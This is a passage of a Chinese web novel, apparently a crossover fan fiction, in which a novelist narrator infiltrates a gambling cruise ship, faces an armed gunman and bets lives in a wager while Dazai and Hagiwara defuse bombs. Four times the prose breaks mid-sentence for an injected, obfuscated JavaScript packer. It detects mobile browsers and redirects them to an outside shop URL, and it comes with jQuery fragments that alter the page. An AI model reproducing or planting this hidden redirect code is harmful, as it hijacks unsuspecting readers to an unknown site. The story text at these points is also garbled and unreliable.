控制住兵藤和也,让他离即将挂掉的老爹远点留下条命,继承财团不让股市动荡,这就足够了。
足够展现我的能力,又不会显得太出挑,让我在太宰治的身边以“略有头脑的普通人”的身份活着。
那位横滨官员安吾君,可一定不要把我划到可疑人员的名单里啊。
——
“美女,就你一个人,你的两位追求者呢。”男人声音轻佻。
来了。我抬起头,大少爷兵藤和也好奇地打量我,墨镜下的眼睛闪动着愉悦的光。
他的打扮有些不伦不类,棕黄色的头发和青蓝色的条纹格西服以及黄色衬衫的搭配极富有冲击力,脖子上围了条黑色围巾,带着墨镜,像是搞笑艺人或者嘻哈歌手。
谁能想到他能在横滨最大的出版社砚友社的杂志上发表小说,且作品影响深远呢。
对付这种人,要展现出和他同样充满反差的魅力。
“他们已经没用了,现在应该蹲在哪个角落里哭泣吧。”
兵藤和也来了兴趣,“是因为把他们身上的钱都榨干了吗。”
“取材结束了,就一切都结束了。”我晃了晃手中的记事本,“托这艘船的福,我已经想好新小说的内容了,也算不枉费那两个男人的一片心意。”
当我表演时,属于i人的社恐症状会大幅度减退,仿佛有新人格接管了我的身体,这时我什么瞎话都编得出来。
兵藤和也来了兴趣,他不再随便地站在我面前随时可以走人,而是拉了张椅子坐了下来,身体前倾盯着我,追问:
“你是故意上这艘船的?”
“对啊,因为很有趣,非常适合作为故事的背景。”
“你不怕之后那两个男人报复你吗,而且没人照料,其他男人都在盯着你流口水哦。”
“这有什么,人类见到我后最基本的礼貌罢了。”
我换了个坐姿,很快所有人的视线都聚焦在我身上。
冰蓝色的眼珠扫过这些背景板,兵藤和尊还没派人过来。我有些烦躁,这下该怎么和小伙伴接头呢。
兵藤和也没看出我的敷衍似的,自顾自地大笑:“哈哈哈哈有意思,太有意思了。”
他的位置愈发向我靠拢,甚至摘下了墨镜,“真厉害啊,你和人说话都是这么嚣张吗。”
“不乐意听就离我远一点,你后面的人在排队了。”
我指指兵藤和也背后正在朝这边偷看的家伙,被我点到的男人露出梦幻的神采,看起来跃跃欲试。
真恶心,给他脸了。
兵藤和也沉默好一阵后终于开口,眼中是毫不掩饰的欣赏。
“夕闻朝露老师,你真是令人惊讶。”
“我之前就在想,能写出绚丽病态,美到极致又透着死寂的句子的人到底是何方神圣,夕闻老师,您和您的文章一样美丽。”
我佯作惊讶,“你知道我的笔名?”
“夕闻老师,别装了。”兵藤和也起身向我伸出手,“我在给您的信件中描述了我的衣着,期待着我们在书店的相遇,您在看见我的第一眼时就确定我是谁了。”
我含笑颔首,握住了兵藤和也的手,“你没有自爆姓名,我也不好确认。”
多亏了你,不然我没有理由在太宰治和萩原研二的眼皮子底下顺理成章地出现在二楼。
从查到[希望之船]是你父亲的产业时,我就计划着我们的见面了。
为了拿到[横滨特殊人才]的资料,我和小伙伴不惜余力。
——
我和兵藤和也继续有一搭没一搭的聊着,好歹也算是同行,共同话题还挺多。
可惜长相不是我喜欢的类型,不然我愿意付出点耐心和他多聊一阵。
像太宰治那样,乍一眼是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14488905|153186||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
位纤弱的美少年,五官像伊东深水笔下的仕女图那样精巧,肤色如汉白玉般无瑕,配上蓬松柔软的头发,不客气的讲,很适合作为哄骗女人为生的顶级牛郎出道。
如果我在东京的夜店看到他,一定会毫不犹豫地洒下大笔钞票换来的花票以及香槟塔。
只是长得像小白脸不足以让我痴迷,所以我最喜欢的是他的眼睛,身材和糟糕的性格。眼睛自不必说,那是太宰治最具魅力和邪性的地方,可以想见再过去很多人不敢看他的眼睛,我期待有一天他会杀气四溢地,用看敌人的目光看着我,光想想就兴奋地颤抖。
身材嘛,早就看出来太宰治是干练精瘦的类型,那次在浴室坦诚相见,在见到身上那些纵横交错的伤疤后,我一边心疼一边流口水,男性魅力爆棚,小白脸搭上成年人的身材才是王道啊。(擦鼻血)
糟糕的性格,美人池面天生有任性的特权,我一直认为,大美人的性格就该是嚣张跋扈稀奇古怪的,人们心甘情愿包容。就像我包容太宰治时不时去自个杀,或者疑心病发作,都是小问题。
承认了,我是颜狗,交友恋爱的第一标准是脸,对好看的人哪怕是蠢货我的容忍度都会上升一个点。
总而言之,太宰治是从里到外都是踩在我审美点上的人,因此短期内我还不想更换恋爱对象,我对他的喜欢可以持续很久很久。
希望他对我也一样。
有时我宁愿太宰治是我身边最常出现的那类肤浅的男性,至少外表是我为数不多的优点。
我希望他对我的喜欢,能再多一点,再多一点,直到爱情蒙蔽了他的大脑遮住了他的眼睛,我才真正得偿所愿。
“对了,不如请夕闻老师见见我的父亲吧,既然想写和赌/局有关的小说,我父亲可是最完美的素材库啊。”
兵藤和也打了个响指,刚刚我们聊到小说大纲,他也来了兴致,借我的纸笔两人一起写写画画。
来了,我打起精神,假装为难道:“这不好吧,令尊日理万机,写作取材这种小事还是不要劳烦兵藤先生。”
“不麻烦不麻烦,他现在和人打嘴仗肯定无聊死了。”
我怀疑他是借助我故意给他老爹找不痛快。
兵藤和也说着带我穿过一道道曲折的走廊,来到一扇大门面前。
——
已经潜入多时的异能特务科特派办事员,坂口安吾伪装成秘书的模样立在兵藤和尊身后,他已经掌握了对方违反对异能者管控管理条例的证据,正在思考用不用写报告,把对面那个叫[琴酒]的男人一块一锅端了。
琴酒的危险程度远胜于一心只想挣钱的兵藤和尊。
就在这时,大少爷兵藤和也携着女伴闯入了会议室。
确认了,是太宰治的女朋友没错,她怎么能动作这么快,坂口安吾本以做好单打独斗的准备。再说,一个普通女孩在这里能起到什么作用。
坂口安吾想起方才太宰治在耳麦里的嘱咐。
“安吾君,如果我的女朋友出现在你的视线,请务必帮我[看住]森雪纪,不让她有丝毫的闪失,认识奇怪的人。”
26.我对社畜这个群体抱有敬意
i人想多结交几个朋友
*
兵藤和也带着我在二楼的走廊中穿行,最终站在一扇气派的大门前,被两名黑衣保镖拦住了。
“大少爷,老爷吩咐过闲杂人等不能进入。”
“你说我是闲杂人等?”
我在一旁默默捂脸,另一位门神大哥麻烦你不要用看红颜祸水的眼神看我好吗,明显是你家少爷看老爹不爽故意找茬的。
“不不不,我是说这位小姐……”
“她是我请来给父亲写传记的作家,我特意挑这个时间让她目睹父亲舌战群儒为帝爱集团奋斗的英姿,你还有什么话想说。”
我和保镖:……
这人满嘴跑火车的模样一点都不像千金少爷反而是标准的地痞老流氓,兵藤和也你是仗着你爹只有你一个儿子才这么为所欲为的吗。
懒得再和保镖扯皮,兵藤和也直接推开拦在门前的两人,拉开了这扇庄穆森严的大门。
竟然就这么轻松的进来了。
跟着兵藤和也踏进会议室的刹那,一道隐晦的目光落在我的身上,我绷紧了身体,只听一身和服的白胡子老头正气十足地喊道:
“和也,谁让你进来的,她是谁?”
“父亲,是这样的……”
兵藤和也激情向老爹介绍我的履历,再三保证我不会乱说,现在正被老爹训斥中。
我跟在兵藤和也的身后,朝兵藤和尊鞠了一躬,露出我生平最人畜无害的端庄微笑。
可能是心理作用,我似乎听到有人发出一声不屑的冷笑,伴随着冷冽的杀气由远及近,原该和我在一起的兵藤和也突然跌倒,我正要扶起他发现他竟然是被保镖扑倒按住的,当我站起来时,黑洞洞的/枪/口指着我的眼睛。
“啊!”
银发绿瞳的男人五官深邃而英俊,他叼着烟单手插兜,另一只手按在扳机上,听到我的尖叫不耐烦地瞪了我一眼。
“闭嘴,吵死了。”
“我不管她是谁,”原本坐在兵藤和尊对面的银发杀手站在我面前,隔绝了其他人的视线,他回过头对兵藤和尊说:
“她已经看到我脸了,就必须死。”
被保镖团团围住的兵藤和也怒吼:“琴酒你敢!”
好人啊。兵藤和也,日后我会出主意让你坐稳帝爱集团董事长的位置,我这个人一向知恩图报。
见自己的威胁不管用兵藤和也看向他父亲,“父亲,夕闻老师是我崇拜的偶像,绝对不能有事。”
……
这间宽敞的会议室里只有屈屈三五个人,我和兵藤和也退到墙角,在隐藏在黑暗中的人群里搜寻我要抱紧的大腿。
这么可靠,被太宰治认可能保护他柔弱不能自理的女朋友的安吾君,一定有过人之处吧。
太宰治说,你看人群中一位带着眼镜,疲惫感最强,最有社畜味的就是安吾君。
听得我对这位政府官员肃然起敬。
安吾君,可能是[横滨特殊人才]的管理者,负责收集情报,有一定的自卫能力,工作态度认真,和太宰治很熟,否则不会随便答应在任务中多加一个人。
“很熟”也意味着他可能看过我的照片,方便在太宰治不在的场合,有人能认出我,看紧我。
那么,
这位和太宰治相熟,关系良好的横滨政府官员,会是他的朋友吗。
——
我曾问过太宰治他有没有朋友。
聊起这个话题的起因,是太宰治不满我每周固定一天陪梅津寺纯子出去玩,这个惯例直到纯子被她老爹抓去当社畜开始惨无人道的加班才终止。
我不理解太宰治有什么不满的,他天天不着家,我自娱自乐有错吗。再说每周抽出一天时间就能维系友情,让我不那么像自闭儿童很划算。
“那为什么我让雪纪陪我外出调查侦探社的案件,雪纪就不愿意呢。”
不知缘由,太宰治一直致力于把我拉进侦探社这个温暖的大家庭,成为编外人员,他之前还想让我每天和他一起上班,我就在楼下的咖啡厅写作。
因为这样他就能[随时看到我]。
“可是调查很累诶,我又不是侦探,没那么多好奇心。”我无情拒绝。
太宰治不依不饶,头埋在枕头里哼哼,“但没有雪纪在,我上班都没有动力了,感觉好无聊。”
这话我爱听,我最喜闻乐见的事就是太宰治离不开我,没我不行。
心花怒放的我给国木田独步发了短信替太宰治请假,“好了,我已经给你请假了,就这样赖在床上一天吧。”
折腾半天不就是不想上班吗,我就没见过太宰治正常上下班打卡过。
“好耶!”太宰治一声欢呼,扑上来蹭我的脸。
我推开他,脱下睡裙换上新买的裙子,只有和纯子出门时我才有心情打扮
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14493791|153186||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一下。
“你在家待着吧,我去找纯子了,之前答应好给她带我做的千层蛋糕来着,我上次见她,黑眼圈都快掉下来了。”
社畜真惨,我再次肯定自己改行当小说家的英明举措。
“太宰君,你也可以去找你的朋友玩啊。说起来,我好像从来没听你说过有哪个朋友。”
我有点好奇,太宰治好像只和侦探社的人有往来。
“我除了纯子以外,还有几个算是朋友的人,不过他们都在东京。”
萩原研二和伊藤开司,加上梅津寺纯子,我在三教九流的情报网都配齐了。
……
当时太宰治是怎么说的来着,[朋友这种生物在我的字典里不存在哦。]
他这样说,神情落寞地像被雨淋湿的流浪猫。
——
我想我找到安吾君了。
那个人戴着眼镜,相貌斯文俊秀,穿着标准符合礼节。手里抱着一叠文件,从我进入会议室起就一直没有松开,看到我进来后没有像其他人一样好奇的打量,瞥了一眼就收回了视线。
但当我被琴酒用/枪/指着头时,他的表情是掩饰不住的惊讶,然后开始思索对策,很快又变成刻意收敛的镇定。
演技很好,但比不上我。
找到你了,安吾君。
太宰治的朋友,我的证人。
我可以安心当壁花了,听琴酒和兵藤和尊讨论:“下半年的利润加三成”,“不行三成太多,两成”,“你要是没有做生意的诚意不如让我把人都带走”,“你做梦”,这种口水仗吵一天都没结果的问题。
累了,太宰治什么时候过来,我看琴酒马上要忍不住大开杀戒,把在场的全部干掉。
我正无聊着,兵藤和也捏了下我的手,他目视前方,手指却背在身后在我的手心上比划。
[不好意思,时间紧迫计划不完善差点害死你,拖延这段时间足够让你的同伴拿到这艘船的控制权了吧。]
我反应了三秒,我靠,哄堂大孝啊。
怪不得兵藤和也写作风格犀利长得却像地主家的傻儿子,原来都是装的。
我在他的手心写道:[当然,未来的董事长先生。]
我们再次郑重地握了下对方的手,[记得和你合作的人是我。]
这算又交了一个[朋友]吧,我心满意足地想到,不知道太宰治和萩原研二相处地怎么样。
27.听到黑历史后太宰更喜欢你了
i人在他人眼里是怪物
*
“爱奥那耶号,帕彭堡迈耶造船厂的得意之作,八年前首次航行,五年前被兵藤和尊豪掷百亿买下,用作招待宾客私人旅行使用。”
太宰治说道。
豪华的游轮上除了集合全部赌/徒的大厅以外其余场所空无一人,避开不时巡逻的保镖后,整个游轮似乎都变成了太宰治和萩原研二的天下。
萩原研二和太宰治一起在这艘游轮上穿梭,已经在船上打探过一圈的萩原研二本想自觉接任向导的位置,没想到太宰治和早就将游轮的导航图烂熟于心似的,熟练地在监控器和遍布船舱的安保中穿梭。于是他干脆闭上了嘴,只在遇到岔路时打手势交流,两人速度极快,没多久就走到了游轮内部的机舱。
竟然有种酣畅淋漓,默契十足之感。萩原研二摸摸鼻子,说这话有点对不起小阵平。
对这位来自横滨的侦探,萩原研二本能的感到好奇。
离开森雪纪后,太宰治身上那股疯劲和有意无意散发的魅力消失了,变成了对工作的倦怠和轻佻,简明地和萩原研二说了下目前的形势后就打算袖手旁观了,仿佛两人就是搭个伴在船上溜达。
也是,开屏孔雀也不会对同性张开艳丽的羽毛,不过对爆/炸/物稀松平常的态度和闲聊般的语气,不是更说明他不是寻常的侦探吗。
森雪纪和他在一起,不会是拿他当收集素材的对象了吧。
挖出一个人的秘密什么的,艺术创作的缪斯什么的,觉得很有趣所以要和他生活一段时间,无聊了就扔掉,萩原研二摸着自己的良心确认这种事森雪纪绝对干得出来。
太宰先生知道自己的女朋友可能是精神病人吗。
回过神,萩原研二接话道:
“兵藤和尊买下后将其改名为妙高号,妙高是梵语须弥山的意译,意为无尚的美德与至高的山峰。这老头口气真大。”
“是无比膨胀,无法满足的野心啊。”
他叹息着说。因为想要欣赏人在赌/博/时陷入狂热的神态,欣赏人类丧失人性道德后的滑向深渊的丑陋,兵藤和尊打造了这艘[希望之船],奉自己是船上所有人的主宰。
他身边的太宰治不发一言,越过楼梯时萩原研二才看到对方类似戏谑轻蔑的唇角。
拉开机舱门,萩原研二一眼瞄到在角落安装了一枚炸/弹。
太宰治负手而立站在一旁,等萩原研二解决手头的炸/弹,又指向另一侧,“那边还有一个。”
真是大手笔啊,粗略地数一数,机舱里竟然有不下十个□□,务必要让这艘[希望之船]和船上的所有赌/徒全部葬身海底。
幸好联系了上级请求支援,再坚持一阵就好了,来不及多想,萩原研二又开始了忙碌。
太宰治没有上前帮忙的意思,他随意找了地方坐下,托着腮看萩原研二拆/弹,瞄了眼时间,问:
“萩原君,你和雪纪是在她上大学时认识的,是吗。”
“对,你想知道雪纪上大学时的事?”
太宰治微微颔首,嘴角的弧度很漂亮又不会让人觉得在刻意讨好,“我和雪纪认识的时间太短了,听说萩原君和雪纪是很好的朋友,所以想来问问你。”
“如果太宰先生真想知道的话,为什么不直接问雪纪呢。”
“这种趣事还是从别人口中知晓比较有意思吧,掌握了恋人的黑历史,哪天变成情趣的一环哦~”
这是我能听的吗???
手一抖差点剪错线,萩原研二眼神复杂的瞥了太宰治一眼,对方好似无知无觉,厚脸皮到一定境界了。
按照这位一见到雪纪就扑上来猛猛吃醋的劲,好像也不是不可能哈。
摸了把脸,萩原研二感觉自己稍微冷静了点,继续拆/弹。嘴上说;“不行,这种事还是本人亲口说比较好。”
太宰治耸了耸肩,百无聊赖地哼着萩原没听过的小调,好似之前的话只是随口一提。
机舱内的风扇呼呼吹着,将太宰治从雪纪处拿回来的大衣吹乱了一角。
他嘴上哼着歌,眼底的颜色仿佛腐烂的枯叶蝶随着歌声振动双翅,寂寥得渗人。
违和感,这个人身上充满了违和感,像是一个闹钟被孩子拆掉后又重新用零件拼好,看似完整无缺,但少了最关键的零件,里面的齿轮机械只能破破烂烂地运转着。
和当年森雪纪给他的感觉一模一样。
萩原研二自诩是五个人中情商最高最擅长从枝梢末节发现本质的警察,当年森雪纪都能被他一眼看穿,况且太宰治的伪装更不走心,故意等人发现一样。
他意识到,这个人和森雪纪交往,也别有目的。
太宰治暴露自己的违和感,是为了说明他和森雪纪般配无比。
——所以不用替雪纪遮掩她的过去。
唉,这样说来,太宰先生是故意要和自己一起行动的,他之前阻止雪纪独自上二楼是演戏喽。
萩原研二头都大了,这对史密斯夫妇就不能让他好好把任务完成,尽情享受拆弹的乐趣吗!
行吧,你俩互殴时血不要溅在我身上。
萩原研二完全不担心以森雪纪的智商会
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14502716|153186||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在男人身上吃亏。
于是萩原研二清了清嗓子道:
“我第一见雪纪,是在一次爆炸案的现场,那时我还在爆/炸/物处理班。”提到往事萩原研二不免有些惆怅,好歹命保住了,但留小阵平一个人在爆处组更让他担心。
太宰治静静听着,依旧暮气沉沉。
“她作为幸存者正在和朋友打电话,这本没有可在意的,我只想和她打个招呼告诉她去领杯热咖啡。”
回想起这段往事,萩原研二还记得当初第一次看到森雪纪时的惊讶和一缕寒意。
站在警车前的少女身段窈窕打扮时尚,声音清清脆脆的和电话那端的人撒娇,所以萩原研二没有防备,直接走过去了。
[小姐,你可以——],那一刻他就像被吊在锅炉里的鸭子一样好笑。
“森雪纪的眼睛里什么都没有,没有情绪没有喜怒,但偏偏还在和电话里的的朋友抱怨,亲昵极了。”
“这一点都不正常,仿佛生活对她来说只是一场表演。她知道正常人遇到突发事件会惊魂未定,会和亲人朋友联系,但是她没有为什么要这样做的理由,她不感到害怕,她只是为了让自己合群而已。”
从警察的角度看,森雪纪的表现与反社会人格非常相像,很容易演变成社会不稳定因素。
为此,萩原研二在森雪纪身上耗费了许多耐心。
之后又发生种种事例的更显得森雪纪古怪,她对一些场合的社交经验非常老道,又对正常交流的界限懵懂不知,而且非常冷漠。
但照顾一个疑似精神病人总比以后抓捕罪犯要强得多。再说,森雪纪身上只是习惯观察模仿,对别人的情绪很敏感。这有点像小时候姐姐给他讲的故事,在山里修行的小狐狸幻化成人类偷偷跑出来玩,无意中表现出非人的举动。
后来森雪纪越来越正常,萩原研二老怀甚慰,自豪感油然而生。
知道森雪纪谈了个男朋友时,萩原研二表示非常惊讶。
“你不要因为这件事看轻她,森雪纪她只是,额…社会化程度不够高,她是个很普通很善良的女孩子。”
随着时间的推移,萩原研二认为那些奇怪的表现可能只是天才的与众不同罢了。
太宰治听得很认真,那个被小孩弄坏的闹钟又找回了丢失的零件。
“谢谢。听你说完,我好像更喜欢她了。”
她和我一样,是靠拙劣的伪装苟活于世的怪物。
等萩原研二解决了所有的炸/弹,太宰治高高兴兴道:
“是时候去控制室看看了,我们走吧。”
28.别叫我赌神
i人无辜躺枪
*
兵藤和尊和琴酒的谈判还没有结束,要我说根本没有谈的必要,反正兵藤和尊今天是下不了船了。
琴酒干脆地拒绝了兵藤和尊的客套,被落了面子,老头的脸色一下就不好看了。
“呵呵,想要三个异能者的使用权,阁下好歹要付出点诚意。”
“你也可以拒绝,如果还有命在的话。”
我和兵藤和也当了半天的壁花,才听明白他们现在在吵什么。太宰治口中的[横滨特殊人才]也就是[异能者],兵藤和尊圈养了几个没有武力的异能者让他们为自己服务大肆敛财,琴酒所在的组织是他的保护伞。现在组织不满兵藤和尊交的保护费越来越少,想要抢走那三个异能者。
但是看琴酒越来越不耐烦的脸色,感觉他更想把异能者连带兵藤和尊一块咔嚓掉,一劳永逸。
强者都懒得思考,他们更喜欢用绝对的武力解决问题,一刀一枪足以让他们得到想要的结果,坏处就是被诟病为莽夫。我虽然没有恐怖的武力值,但对于不想思考这件事,我深有体会。
这种勾心斗角的场合不适合我,或许是天赋异禀,我总能轻易看穿其他人绞尽脑汁四处周旋的目的,并发出疑问,有必要吗?
我曾和太宰治讨论过这个问题,他的回答是,我也觉得无聊,但当年身为打工人的我别无选择啊,可恶的森先生雇佣童工!
我义愤填膺,好啊这个和我同姓的大佬竟然这么黑心,非把他的公司搞破产不可。
太宰治笑倒在沙发上,他完全倒挂在沙发上面朝下,刘海跟随地心引力离开了光洁的额头,把整张脸露出来后更像是青涩的男高中生,带着对未来的迷茫。
“真的很无聊吗。”他问我,“真的很无聊吗,那要我做什么你才会开心呢。”
和你在一起我就很开心了啊。
我不明白太宰治为什么这么问。
“可是,就算是我偶尔也在任务…我是说委托中找到乐趣哦,和旗鼓相当的人针锋相对,也会觉得很痛快,雪纪没有感觉吗。”
没有,我只觉得累,低欲望的infp就是这样的。
任何需要动脑筋换来的地位金钱在我眼里都一文不值,我也感受不到大权在握支配属下带来的快感。我时常觉得自己不适合做充满创作欲的文字工作或者手脑并用的医学工作者,而是纯体力劳动,不用思考,干满八小时爬到床上一躺,这辈子就过去了,完全诠释了什么叫混吃等死。
太宰治听完深情地说我愿意现在就和你一起躺在棺材里,不用等那么多年。
……
耳麦刺啦啦地响,丝毫不影响我神游。
正神游着,兵藤和也突然“嗷!”地一声,顿时所有人的目光都聚焦在他和与他站在一起的我身上。
我无辜地朝龇牙咧嘴的兵藤和也摇了摇头,琴酒看到后发出一声鄙夷的冷笑。
“你们没有谈判的诚意。”
兵藤和也冷汗津津,正要说什么被老父亲兵藤和尊拦下,将矛头转向我。
“夕闻老师围观我们讨论那么久,想必一定感到无聊了。”
“听完这些资本家与里世界勾结的密辛,您的神色还是如此镇定,真是见多识广。”
我眼皮一跳,客客气气地回答:
“我只是对把人当做猪羊一样售卖讨价还价不感兴趣而已,请放心,我不会把这种丑事引用到我的作品里,会把您的形象描写得光辉一点。”
“是吗。”
兵藤和尊穿着老式的和服,在会议室一水地西装领带里格外扎眼,他大概很享受这种与众不同众星捧月的快乐,见我不识趣,他话锋一转。
“我听和也说夕闻老师是为了收集小说素材,寻刺激才来到希望之船,但只用了五分钟就赢下了游戏,夕闻老师一定很失望无聊吧。”
“作为船主没让客人玩得尽兴是我的失职,不如这样吧,我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14506081|153186||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
亲自和你赌一局,如何。”
……?
我缓缓打出一个问号。
你俩谈判怎么扯我这来了?
我作为一个小说家,你也是个金融大佬体面人,不和我谈人生谈理想从诗词歌赋谈到人生哲学,而是叫我和你一起赌/博/?
你们全家赌/狗入脑啊。
多说无益,我虽然性情懒散不爱张扬,但有人敢挑我衅一定要把他打到服气。
“既然要赌,赌什么呢。”
——
侦探社的中岛君曾在我和太宰治冷战时试图在中间当说客,绞尽脑汁地说了许多太宰治的优点,其中被他大书特书的一条就是:太宰治是他见过最聪明的人。
算无遗策明察秋毫足智多谋,难为孩子想出这么多词了。
对这些夸赞我都替太宰治坦然受之,并好心地告诉中岛敦。
“我知道啊。”
“我只是不喜欢他把聪明才智用到我身上罢了。”
小气如我,只能我算计别人,不能别人算计我,如果我没发现也就过去了,像兵藤和尊这种明晃晃把我当炮灰的真是要被气笑了。
能让我心甘情愿跳进圈套的人只有太宰治,你算个毛?
兵藤和尊没理解我的愤怒,他看到了,也只认为是惊惧交加的色厉内荏,白胡子老头笑呵呵地说:
“就赌那三个异能者的命。”
“你输了,那三个人就会死。你赢了,就让琴酒阁下把他们带走。现在三条人命掌握在你的手上,不知这个赌局能不能让老师满意,算不算一个好的素材。”
把别人的命当做自己的筹码,更恶心了。
这怎么能够,我摇摇头,指甲死死掐住软肉才让自己呼吸平稳一点,我咧嘴一笑,柔声道:
“如果真要赌,好歹把自己最宝贵的东西拿出来吧。”
“再加一条,我和你,赢者生输者死,由这位琴酒大人监督,如何。”
29.赌命你敢吗
为了恋人i人拼了
*
俗话说,你不找事,事来找你。
我在今天有了深刻体会,人没有最倒霉只有更倒霉,从我答应当萩原研二的协助人起就是个错误。
就在刚刚,老头和琴酒唇枪舌战时,我的耳麦突然发出刺啦刺啦的响声,几秒后变成了有节奏的敲击。
[到大厅来。]
那边结束了?这么快?不应该啊。
瞄了一眼还在打嘴仗的两人,配合琴酒突然高亢的声音“这就是帝爱集团和组织合作的诚意吗”,我慢慢敲打墙壁。
[一切顺利?]
[一切顺利]
我不喜欢动脑子,但总是有各种突发事件强迫我思考,会发出信号只有两种可能:
一、太宰治和萩原君真遇到了麻烦
二、这是太宰治计划中的一环
凭这段时间对太宰治的了解,第一条的可能微乎其微,不过任何和太宰治有关的事件我都不想冒险。如果耳麦真落到了未知人物的手里,我就不能自己随便找个理由溜出去了,要把在场所有人都拖下水才行。
目光投向兵藤和也,他双手抱臂看似炯炯有神地听老爹讲话,不时随着节奏点一点头,其实早就睡着了。
我伸出手,朝他的后腰用力掐了一把。
……
出发上船的前一天,我正在给新书《希望之船》写大纲。说大纲也不太准确,我一般是先写几百字的开头,有思路后再回过头写大纲填框架,主打一个随机应变。
[开往深渊的巨轮,被赌徒冠以希望之名。]
[巨轮在一望无际的海中游行,它已失去方向。舰长室内,掌舵人以扭曲的姿势趴伏在操控台上,他将前进的动力开到最大,全然不顾即将撞上的冰川。]
[为了躲开跟在船后的怪物,被赌徒引来的怪物,他无路可退。]
太宰治看完了我的手稿,问这里面是不是有什么隐喻,比如怪物是不是代表着七宗罪之一的贪婪,被贪婪追逐一点点侵蚀的希望之船最终滑向地狱。
我客气地回复你想太多。我只想写一个凄美的爱情故事,里面加点血腥暴力的元素告诫大家远离赌/博,珍爱生命。
“真的吗,可是雪纪的文字却告诉我不是这样。”太宰治从书架上抽出连载的几期杂志,把我刊登的小说一篇篇指出来。
“《白目》代表懒惰,证人A逃避了他的责任。《树影》代表色欲,因偷情上瘾的男女跟着社团活动来到密林中寻刺激,迷路后杀死了情人。《希望之船》的故事是伯爵在船上的拍卖会邂逅了被贩卖的女郎,为了争夺美女和富商定下了赌约,自然代表了贪婪。”
我写得时候想了这么多吗……
终于明白了什么叫阅读理解题窗帘为什么是蓝色的,答蓝色代表了作者忧郁的心情,而作者澄清说因为我家窗帘就是蓝色的!我真的没想那么多啊,这就是天才眼中的世界吗,把你的心眼子用到该用的地方行吗。
“那《东奔西走》呢,和七宗罪没关系吧。”
太宰治陶醉地把刊登着文章的那期杂志抱在怀里,“它自然代表着雪纪对我的爱啊~”
滚滚滚,我推开了太宰治,把杂志重新放到书架上整理好。
太宰治躺在榻榻米上,午后的阳光太耀眼,太宰治伸出手遮住了半张脸,只露出似笑非笑的嘴巴,惬意地像只大猫。
“不过,雪纪的故事确实给了我灵感。”他说。
我没听清他说什么,很快就和太宰治滚到了一起相拥着午睡,那篇草稿不知道丢到了哪里。
反正在截稿日前会写完的。
拖延症严重也是我觉得自己不适合工作的理由。每次都赶在截稿日前最后一天挑灯夜战才把稿子写完,然后心满意足地睡上一天一夜,等着编辑发来“夕闻老师这次的稿件让我振聋发聩”的彩虹屁,看眼银行卡到账的消息,浑浑噩噩到下一个截稿日到来。
我只是在文章里发发牢骚而已,可能正好说到了大家的痒处。
说白了,我只想每天醉生梦死地活着,享受这份自由。
但我总是莫名其妙地卷入漩涡中心。
猜到了离开会议室的理由会很不体面,但没想到这么不体面。
……早知道还不如自己偷偷溜了。
尤其当听到兵藤和尊随便拿人命当筹码时,我真的很生气。
——
坂口安吾双目无神,他就知道,太宰治的女朋友能是什么好人。
刚开始那端庄温婉的笑容都是假象吧,就像老片里穿着振袖和服蒙着斗笠的女杀手,为报母仇苦学多年武艺,找到仇家后先柔柔地鞠一躬,请问这是坂本义龙先生家吗,当回答是的那一刻她仰起美丽的脸蛋莞尔一笑看得老头怦然心动,下一秒脑袋就落在地上了。
笑容不是礼貌,是对敌人下的战书。
森雪纪现在就是在下战书,她冰蓝色的眼珠已经彻底变成海上最常见的浮冰了。
“俗话说千金之子坐不垂堂,您将这句话贯彻的太完美了,看得我想把您拉下来。既然要赢下赌局,就要有自己也是筹码的觉悟。您觉得自己很高贵,不是泥潭里的赌/徒?可当您打赌的时候,就已经是了。
